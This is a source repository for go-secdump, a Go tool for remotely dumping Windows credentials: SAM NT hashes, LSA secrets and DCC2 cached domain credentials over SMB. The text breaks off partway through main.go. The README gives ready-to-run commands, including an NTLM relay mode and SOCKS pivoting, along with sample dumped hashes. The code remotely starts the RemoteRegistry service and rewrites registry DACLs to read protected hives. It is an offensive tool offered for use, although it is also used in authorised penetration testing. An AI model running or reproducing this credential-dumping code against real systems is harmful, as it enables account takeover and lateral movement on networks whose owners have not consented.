├── .github └── workflows │ └── release.yml ├── LICENSE ├── Makefile ├── README.md ├── go.mod ├── go.sum ├── main.go ├── sam.go └── utils.go /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build binaries for Linux and Windows x64 architecture 2 | 3 | name: release 4 | 5 | on: 6 | release: 7 | types: [published] 8 | 9 | jobs: 10 | build: 11 | permissions: 12 | contents: write # to allow upload of release assets 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: checkout repo 16 | uses: actions/checkout@v4 17 | 18 | - name: set up Go 19 | uses: actions/setup-go@v4 20 | with: 21 | go-version: '1.21' 22 | 23 | - name: install dependencies 24 | run: go get 25 | 26 | - name: build project 27 | run: make 28 | 29 | - name: publish binaries to release 30 | run: | 31 | ASSET_NAME_1="go-secdump" 32 | ASSET_NAME_2="go-secdump.exe" 33 | UPLOAD_URL="https://uploads.github.com/repos/${{ github.repository }}/releases/${{ github.event.release.id }}/assets" 34 | 35 | # Upload asset 1 36 | curl -sSL -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" -H "Content-Type: application/octet-stream" --data-binary @"$ASSET_NAME_1" "$UPLOAD_URL?name=$ASSET_NAME_1" 37 | 38 | # Upload asset 2 39 | curl -sSL -H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" -H "Content-Type: application/octet-stream" --data-binary @"$ASSET_NAME_2" "$UPLOAD_URL?name=$ASSET_NAME_2" 40 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Jimmy Fjällid 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w" -o go-secdump 3 | GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -ldflags "-s -w" -o go-secdump.exe . 4 | 5 | clean: 6 | rm -f go-secdump 7 | rm -f go-secdump.exe 8 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # go-secdump 2 | 3 | ## Description 4 | Package go-secdump is a tool built to remotely extract hashes from the SAM 5 | registry hive as well as LSA secrets and cached hashes from the SECURITY hive 6 | without any remote agent and without touching disk. 7 | 8 | The tool is built on top of the library [go-smb](https://github.com/jfjallid/go-smb) 9 | and use it to communicate with the Windows Remote Registry to retrieve registry 10 | keys directly from memory. 11 | 12 | It was built as a learning experience and as a proof of concept that it should 13 | be possible to remotely retrieve the NT Hashes from the SAM hive and the LSA 14 | secrets as well as domain cached credentials without having to first save the 15 | registry hives to disk and then parse them locally. 16 | 17 | The main problem to overcome was that the SAM and SECURITY hives are only 18 | readable by NT AUTHORITY\SYSTEM. However, I noticed that the local group 19 | administrators had the WriteDACL permission on the registry hives and could 20 | thus be used to temporarily grant read access to itself to retrieve the 21 | secrets and then restore the original permissions. 22 | 23 | However, a better approach was discovered (February 2025) by Julien Egloff 24 | over at Synacktiv. The BaseRegOpenKey request used to open handles to registry 25 | keys has an option to assert the SeBackupPrivilege which allows us to open the 26 | registry keys without first changing the DACLs. 27 | The tool has been updated to prefer this new approach and only change the DACLs 28 | if asked nicely. 29 | 30 | ## Credits 31 | Much of the code in this project is inspired/taken from Impacket's secdump 32 | but converted to access the Windows registry remotely and to only access the 33 | required registry keys. 34 | 35 | Some of the other sources that have been useful to understanding the registry 36 | structure and encryption methods are listed below: 37 | 38 | https://www.passcape.com/index.php?section=docsys&cmd=details&id=23 39 | 40 | http://www.beginningtoseethelight.org/ntsecurity/index.htm 41 | 42 | https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral 43 | 44 | The idea to use SeBackupPrivilege came from Synacktiv: 45 | https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump 46 | 47 | ## Usage 48 | ``` 49 | Usage: ./go-secdump [options] 50 | 51 | options: 52 | --host Hostname or ip address of remote server. Must be hostname when using Kerberos 53 | -P, --port SMB Port (default 445) 54 | -d, --domain Domain name to use for login 55 | -u, --user Username 56 | -p, --pass Password 57 | -n, --no-pass Disable password prompt and send no credentials 58 | --hash Hex encoded NT Hash for user password 59 | --local Authenticate as a local user instead of domain user 60 | -k, --kerberos Use Kerberos authentication. (KRB5CCNAME will be checked on Linux) 61 | --dc-ip Optionally specify ip of KDC when using Kerberos authentication 62 | --target-ip Optionally specify ip of target when using Kerberos authentication 63 | --aes-key Use a hex encoded AES128/256 key for Kerberos authentication 64 | --dump Saves the SAM and SECURITY hives to disk and 65 | transfers them to the local machine. 66 | --sam Extract secrets from the SAM hive explicitly. Only other explicit targets are included. 67 | --lsa Extract LSA secrets explicitly. Only other explicit targets are included. 68 | --dcc2 Extract DCC2 caches explicitly. Only ohter explicit targets are included. 69 | --modify-dacl Change DACLs of reg keys before dump. 70 | Only required if keys cannot be opened using SeBackupPrivilege. (default false) 71 | --backup-dacl Save original DACLs to disk before modification 72 | --restore-dacl Restore DACLs using disk backup. Could be useful if automated restore fails. 73 | --backup-file Filename for DACL backup (default dacl.backup) 74 | --relay Start an SMB listener that will relay incoming 75 | NTLM authentications to the remote server and 76 | use that connection. NOTE that this forces SMB 2.1 77 | without encryption. 78 | --relay-port Listening port for relay (default 445) 79 | --socks-host Establish connection via a SOCKS5 proxy server 80 | --socks-port SOCKS5 proxy port (default 1080) 81 | -t, --timeout Dial timeout in seconds (default 5) 82 | --noenc Disable smb encryption 83 | --smb2 Force smb 2.1 84 | --debug Enable debug logging 85 | --verbose Enable verbose logging 86 | -o, --output Filename for writing results (default is stdout). Will append to file if it exists. 87 | -v, --version Show version 88 | 89 | ``` 90 | 91 | ## Changing DACLs 92 | Now only as an optional feature enabled with `--modify-dacl`, 93 | go-secdump will automatically try to modify and then restore the DACLs of the 94 | required registry keys. However, if something goes wrong during the restoration 95 | part such as a network disconnect or other interrupt, the remote registry will 96 | be left with the modified DACLs. 97 | 98 | Using the `--backup-dacl` argument it is possible to store a serialized copy of 99 | the original DACLs before modification. 100 | If a connectivity problem occurs, the DACLs can later be restored from file 101 | using the `--restore-dacl` argument. 102 | 103 | ## Examples 104 | 105 | Dump all registry secrets using the SeBackupPrivilege trick 106 | 107 | ``` 108 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local 109 | or 110 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2 111 | ``` 112 | 113 | Dump only SAM, LSA, or DCC2 cache secrets 114 | 115 | ``` 116 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam 117 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa 118 | ./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2 119 | ``` 120 | 121 | ### NTLM Relaying 122 | Dump registry secrets using NTLM relaying 123 | 124 | Start listener 125 | ``` 126 | ./go-secdump --host 192.168.0.100 -n --relay 127 | ``` 128 | 129 | Trigger an auth to your machine from a client with administrative access to 130 | 192.168.0.100 somehow and then wait for the dumped secrets. 131 | 132 | ``` 133 | YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805 134 | YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)! 135 | Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0 136 | 2023/12/13 14:47:28 [Notice] [+] Signing is NOT required 137 | 2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator 138 | [*] Dumping local SAM hashes 139 | Name: Administrator 140 | RID: 500 141 | NT: 2727D7906A776A77B34D0430EAACD2C5 142 | 143 | Name: Guest 144 | RID: 501 145 | NT: 146 | 147 | Name: DefaultAccount 148 | RID: 503 149 | NT: 150 | 151 | Name: WDAGUtilityAccount 152 | RID: 504 153 | NT: 154 | 155 | [*] Dumping LSA Secrets 156 | [*] $MACHINE.ACC 157 | $MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4 158 | $MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f... 159 | [*] DPAPI_SYSTEM 160 | dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100 161 | dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939 162 | [*] NL$KM 163 | NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74 164 | [*] Dumping cached domain credentials (domain/username:hash) 165 | DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab 166 | ... 167 | ``` 168 | 169 | ### SOCKS Proxy 170 | Dump secrets using an upstream SOCKS5 proxy either for pivoting or to take 171 | advantage of Impacket's ntlmrelayx.py SOCKS server functionality. 172 | 173 | When using ntlmrelayx.py as the upstream proxy, the provided username must match 174 | that of the authenticated client, but the password can be empty. 175 | 176 | ``` 177 | ./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server 178 | ... 179 | 180 | ./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080 181 | ``` 182 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/jfjallid/go-secdump 2 | 3 | go 1.21 4 | 5 | require ( 6 | github.com/jfjallid/go-smb v0.5.8 7 | github.com/jfjallid/golog v0.3.3 8 | golang.org/x/crypto v0.6.0 9 | golang.org/x/net v0.7.0 10 | golang.org/x/term v0.5.0 11 | ) 12 | 13 | require ( 14 | github.com/jfjallid/gofork v1.7.6 // indirect 15 | github.com/jfjallid/gokrb5/v8 v8.4.4 // indirect 16 | golang.org/x/sys v0.5.0 // indirect 17 | ) 18 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/jfjallid/go-smb v0.5.8 h1:AqaPeCHyjrYaJ0Smhs2f8Xu+Ra+xDwuN0K+hVGsHorc= 2 | github.com/jfjallid/go-smb v0.5.8/go.mod h1:gCorMd5NXhyMR3f1/x+qTZRSN35/6iY5TuqFIWb+Ovg= 3 | github.com/jfjallid/gofork v1.7.6 h1:OYyS2HH597860gkDxxjNsl+NZRxoAnuRI6ZsP++kYKE= 4 | github.com/jfjallid/gofork v1.7.6/go.mod h1:r1EH4W9KY5iqtiGhAupnbzMRONsLDApdJ9EZH5NWFSc= 5 | github.com/jfjallid/gokrb5/v8 v8.4.4 h1:log4i4lIQDOKe/RHWTHdTGeeJTYMW/+M07JgHAiE0as= 6 | github.com/jfjallid/gokrb5/v8 v8.4.4/go.mod h1:RbpQRNWdL0hXz/jTmtRB1Gcx4ZqFzJpyJLSarBMehrI= 7 | github.com/jfjallid/golog v0.3.3 h1:dY6qf8wTxJ9OwBPVTadVRDmt/6MVXSWwXrxaGMMyXsU= 8 | github.com/jfjallid/golog v0.3.3/go.mod h1:19Q/zg5OgPPd0xhFllokPnMzthzhFPZmiAGAokE7k58= 9 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 10 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 11 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 12 | golang.org/x/crypto v0.6.0 h1:qfktjS5LUO+fFKeJXZ+ikTRijMmljikvG68fpMMruSc= 13 | golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58= 14 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 15 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 16 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 17 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 18 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 19 | golang.org/x/net v0.7.0 h1:rJrUqqhjsgNp7KqAIc25s9pZnjU7TUcSY7HcVZjdn1g= 20 | golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 21 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 22 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 23 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 24 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 25 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 26 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 27 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 28 | golang.org/x/sys v0.5.0 h1:MUK/U/4lj1t1oPg0HfuXDN/Z1wv31ZJ/YcPiGccS4DU= 29 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 30 | golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= 31 | golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= 32 | golang.org/x/term v0.5.0 h1:n2a8QNdAb0sZNpU9R1ALUXBbY+w51fCQDN+7EdxNBsY= 33 | golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= 34 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= 35 | golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= 36 | golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= 37 | golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= 38 | golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= 39 | golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= 40 | golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= 41 | golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 42 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | // MIT License 2 | // 3 | // # Copyright (c) 2023 Jimmy Fjällid 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in all 13 | // copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | // SOFTWARE. 22 | package main 23 | 24 | import ( 25 | "bufio" 26 | "encoding/hex" 27 | "flag" 28 | "fmt" 29 | "io" 30 | "math/rand" 31 | "os" 32 | "strings" 33 | "time" 34 | 35 | rundebug "runtime/debug" 36 | 37 | "golang.org/x/net/proxy" 38 | "golang.org/x/term" 39 | 40 | "github.com/jfjallid/go-smb/smb" 41 | "github.com/jfjallid/go-smb/smb/dcerpc" 42 | "github.com/jfjallid/go-smb/smb/dcerpc/msrrp" 43 | "github.com/jfjallid/go-smb/smb/encoder" 44 | "github.com/jfjallid/go-smb/spnego" 45 | "github.com/jfjallid/golog" 46 | ) 47 | 48 | var log = golog.Get("") 49 | var release string = "0.5.0" 50 | 51 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 52 | 53 | // Local Administrators group SID 54 | var administratorsSID string = "S-1-5-32-544" 55 | 56 | // List of all registry keys changed with the order recorded 57 | var registryKeysModified []string 58 | 59 | // Map with all original security descriptors 60 | var m map[string]*msrrp.SecurityDescriptor 61 | 62 | var samSecretList = []printableSecret{} 63 | var lsaSecretList = []printableSecret{} 64 | var dcc2SecretList = []printableSecret{} 65 | 66 | var daclBackupFile *os.File 67 | var outputFile *os.File 68 | 69 | type printableSecret interface { 70 | printSecret(io.Writer) 71 | } 72 | 73 | type sam_account struct { 74 | name string 75 | rid uint32 76 | nthash string 77 | } 78 | 79 | func (self *sam_account) printSecret(out io.Writer) { 80 | if outputFile != nil { 81 | fmt.Fprintf(out, "%s:%d:%s\n", self.name, self.rid, self.nthash) 82 | } else { 83 | fmt.Fprintf(out, "Name: %s\n", self.name) 84 | fmt.Fprintf(out, "RID: %d\n", self.rid) 85 | fmt.Fprintf(out, "NT: %s\n\n", self.nthash) 86 | } 87 | } 88 | 89 | type dcc2_cache struct { 90 | domain string 91 | user string 92 | cache string 93 | } 94 | 95 | func (self *dcc2_cache) printSecret(out io.Writer) { 96 | fmt.Fprintln(out, self.cache) 97 | } 98 | 99 | func (self *printableLSASecret) printSecret(out io.Writer) { 100 | fmt.Fprintln(out, self.secretType) 101 | for _, item := range self.secrets { 102 | fmt.Fprintln(out, item) 103 | } 104 | if self.extraSecret != "" { 105 | fmt.Fprintln(out, self.extraSecret) 106 | } 107 | } 108 | 109 | func init() { 110 | rand.Seed(time.Now().UnixNano()) 111 | } 112 | 113 | func getRandString(n int) string { 114 | arr := make([]rune, n) 115 | for i := range arr { 116 | arr[i] = letters[rand.Intn(len(letters))] 117 | } 118 | return string(arr) 119 | } 120 | 121 | func isFlagSet(name string) bool { 122 | found := false 123 | flag.Visit(func(f *flag.Flag) { 124 | if f.Name == name { 125 | found = true 126 | } 127 | }) 128 | return found 129 | } 130 | 131 | func startRemoteRegistry(session *smb.Connection, share string) (started, disabled bool, err error) { 132 | f, err := session.OpenFile(share, "svcctl") 133 | if err != nil { 134 | log.Errorln(err) 135 | return 136 | } 137 | defer f.CloseFile() 138 | 139 | bind, err := dcerpc.Bind(f, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr) 140 | if err != nil { 141 | log.Errorln("Failed to bind to service") 142 | log.Errorln(err) 143 | return 144 | } 145 | 146 | serviceName := "RemoteRegistry" 147 | 148 | status, err := bind.GetServiceStatus(serviceName) 149 | if err != nil { 150 | log.Errorln(err) 151 | return 152 | } else { 153 | if status == dcerpc.ServiceRunning { 154 | started = true 155 | disabled = false 156 | return 157 | } 158 | // Check if disabled 159 | config, err := bind.GetServiceConfig(serviceName) 160 | if err != nil { 161 | log.Errorf("Failed to get config of %s service with error: %v\n", serviceName, err) 162 | return started, disabled, err 163 | } 164 | if config.StartType == dcerpc.StartTypeStatusMap[dcerpc.ServiceDisabled] { 165 | disabled = true 166 | // Enable service 167 | err = bind.ChangeServiceConfig(serviceName, dcerpc.ServiceNoChange, dcerpc.ServiceDemandStart, dcerpc.ServiceNoChange, "", "", "", "") 168 | if err != nil { 169 | log.Errorf("Failed to change service config from Disabled to Start on Demand with error: %v\n", err) 170 | return started, disabled, err 171 | } 172 | } 173 | // Start service 174 | err = bind.StartService(serviceName, nil) 175 | if err != nil { 176 | log.Errorln(err) 177 | return started, disabled, err 178 | } 179 | time.Sleep(time.Second) 180 | } 181 | return 182 | } 183 | 184 | func stopRemoteRegistry(session *smb.Connection, share string, disable bool) (err error) { 185 | log.Infoln("Trying to restore RemoteRegistry service status") 186 | f, err := session.OpenFile(share, "svcctl") 187 | if err != nil { 188 | log.Errorln(err) 189 | return 190 | } 191 | defer f.CloseFile() 192 | 193 | bind, err := dcerpc.Bind(f, dcerpc.MSRPCUuidSvcCtl, dcerpc.MSRPCSvcCtlMajorVersion, dcerpc.MSRPCSvcCtlMinorVersion, dcerpc.MSRPCUuidNdr) 194 | if err != nil { 195 | log.Errorln("Failed to bind to service") 196 | log.Errorln(err) 197 | return 198 | } 199 | 200 | serviceName := "RemoteRegistry" 201 | 202 | // Stop service 203 | err = bind.ControlService(serviceName, dcerpc.ServiceControlStop) 204 | if err != nil { 205 | log.Errorln(err) 206 | return 207 | } 208 | log.Infoln("Service RemoteRegistry stopped") 209 | 210 | if disable { 211 | err = bind.ChangeServiceConfig(serviceName, dcerpc.ServiceNoChange, dcerpc.ServiceDisabled, dcerpc.ServiceNoChange, "", "", "", "") 212 | if err != nil { 213 | log.Errorf("Failed to change service config to Disabled with error: %v\n", err) 214 | return 215 | } 216 | log.Infoln("Service RemoteRegistry disabled") 217 | } 218 | 219 | return 220 | } 221 | 222 | func changeDacl(rpccon *msrrp.RPCCon, base []byte, keys []string, sid string) error { 223 | if m == nil { 224 | m = make(map[string]*msrrp.SecurityDescriptor) 225 | } 226 | 227 | for _, subkey := range keys { 228 | hSubKey, err := rpccon.OpenSubKey(base, subkey) 229 | if err != nil { 230 | if err == msrrp.ReturnCodeMap[msrrp.ErrorFileNotFound] { 231 | // Skip keys that do not exist 232 | continue 233 | } 234 | log.Errorln(err) 235 | return err 236 | } 237 | //Retrieving security settings 238 | sd, err := rpccon.GetKeySecurity(hSubKey) 239 | if err != nil { 240 | rpccon.CloseKeyHandle(hSubKey) 241 | log.Errorln(err) 242 | return err 243 | } 244 | sdBytes, err := sd.MarshalBinary() 245 | if err != nil { 246 | log.Errorln(err) 247 | return err 248 | } 249 | 250 | sd2 := msrrp.SecurityDescriptor{ 251 | OwnerSid: &msrrp.SID{}, 252 | GroupSid: &msrrp.SID{}, 253 | Sacl: &msrrp.PACL{}, 254 | Dacl: &msrrp.PACL{}, 255 | } 256 | err = sd2.UnmarshalBinary(sdBytes) 257 | if err != nil { 258 | log.Errorln(err) 259 | return err 260 | } 261 | // Check if key exists before adding to map. 262 | // Don't want to replace an existing key in case I change the ACL twice 263 | if _, ok := m[subkey]; !ok { 264 | m[subkey] = sd 265 | if daclBackupFile != nil { 266 | // Save new SD file 267 | sdBytes, err := encoder.Marshal(sd) 268 | if err != nil { 269 | log.Errorf("Failed to marshal SecurityDescriptor to bytes with error: %s\n", err) 270 | } else { 271 | sdHexBytes := hex.EncodeToString(sdBytes) 272 | _, err = daclBackupFile.WriteString(fmt.Sprintf("%s:%s\n", subkey, sdHexBytes)) 273 | if err != nil { 274 | log.Errorf("Failed to write DACL to file with error: %s\n", err) 275 | } 276 | } 277 | } 278 | 279 | } 280 | 281 | mask := msrrp.PermWriteDacl | msrrp.PermReadControl | msrrp.PermKeyEnumerateSubKeys | msrrp.PermKeyQueryValue 282 | ace, err := msrrp.NewAce(sid, mask, msrrp.AccessAllowedAceType, msrrp.ContainerInheritAce) 283 | if err != nil { 284 | rpccon.CloseKeyHandle(hSubKey) 285 | delete(m, subkey) 286 | log.Errorln(err) 287 | return err 288 | } 289 | // NOTE Can't set owner, group or SACL, since I only have WriteDacl on SAM\SAM 290 | newSd, err := msrrp.NewSecurityDescriptor(sd.Control, nil, nil, msrrp.NewACL(append([]msrrp.ACE{*ace}, sd.Dacl.ACLS...)), nil) 291 | 292 | log.Infof("Changing Dacl for key: %s\n", subkey) 293 | err = rpccon.SetKeySecurity(hSubKey, newSd) 294 | if err != nil { 295 | rpccon.CloseKeyHandle(hSubKey) 296 | delete(m, subkey) 297 | log.Errorln(err) 298 | return err 299 | } 300 | rpccon.CloseKeyHandle(hSubKey) 301 | } 302 | return nil 303 | } 304 | 305 | func revertDacl(rpccon *msrrp.RPCCon, base []byte, keys []string) error { 306 | if m == nil { 307 | err := fmt.Errorf("The map variable 'm' is not initialized which would indicate that no DACL was changed yet") 308 | log.Errorln(err) 309 | return err 310 | } 311 | 312 | var sd *msrrp.SecurityDescriptor 313 | var ok bool 314 | for _, subkey := range keys { 315 | if sd, ok = m[subkey]; !ok { 316 | log.Debugf("Trying to restore DACL of registry key %s, but the original DACL hasn't been saved.\nIt is likely that the registry key doesn't even exist\n", subkey) 317 | // Key did not exist so was not added to map 318 | continue 319 | } 320 | hSubKey, err := rpccon.OpenSubKey(base, subkey) 321 | if err != nil { 322 | log.Errorf("Tried to restore DACL of registry key %s, but failed to open registry key with error: %s\n", err) 323 | continue // Try to change as many keys as possible 324 | } 325 | 326 | sd.Control &^= msrrp.SecurityDescriptorFlagSP 327 | sd.OffsetSacl = 0 328 | sd.OwnerSid = nil 329 | sd.GroupSid = nil 330 | sd.OffsetOwner = 0 331 | sd.OffsetGroup = 0 332 | 333 | err = rpccon.SetKeySecurity(hSubKey, sd) 334 | if err != nil { 335 | log.Errorln(err) 336 | rpccon.CloseKeyHandle(hSubKey) 337 | continue 338 | } 339 | log.Infof("Reverted Dacl for key: %s\n", subkey) 340 | rpccon.CloseKeyHandle(hSubKey) 341 | } 342 | return nil 343 | } 344 | 345 | func restoreDaclFromBackup(rpccon *msrrp.RPCCon, hKey []byte) error { 346 | daclMap := make(map[string]*msrrp.SecurityDescriptor) 347 | keys := []string{} 348 | 349 | if daclBackupFile == nil { 350 | err := fmt.Errorf("Something went wrong with restoring DACLs from file. Backup file handle is nil") 351 | log.Errorln(err) 352 | return err 353 | } 354 | scanner := bufio.NewScanner(daclBackupFile) 355 | for scanner.Scan() { 356 | sd := msrrp.SecurityDescriptor{ 357 | OwnerSid: &msrrp.SID{}, 358 | GroupSid: &msrrp.SID{}, 359 | Sacl: &msrrp.PACL{}, 360 | Dacl: &msrrp.PACL{}, 361 | } 362 | line := scanner.Text() 363 | parts := strings.Split(line, ":") 364 | if len(parts) != 2 { 365 | err := fmt.Errorf("Expected lines to be of the format 'regkey:hexstring', but failed to parse string") 366 | log.Errorln(err) 367 | return err 368 | } 369 | sdBytes, err := hex.DecodeString(parts[1]) 370 | if err != nil { 371 | log.Errorf("Failed to hex decode security descriptor bytes with error: %s\n", err) 372 | return err 373 | } 374 | err = sd.UnmarshalBinary(sdBytes) 375 | if err != nil { 376 | log.Errorf("Failed to unmarshal security descriptor bytes with error: %s\n", err) 377 | return err 378 | } 379 | daclMap[parts[0]] = &sd 380 | keys = append(keys, parts[0]) 381 | } 382 | if err := 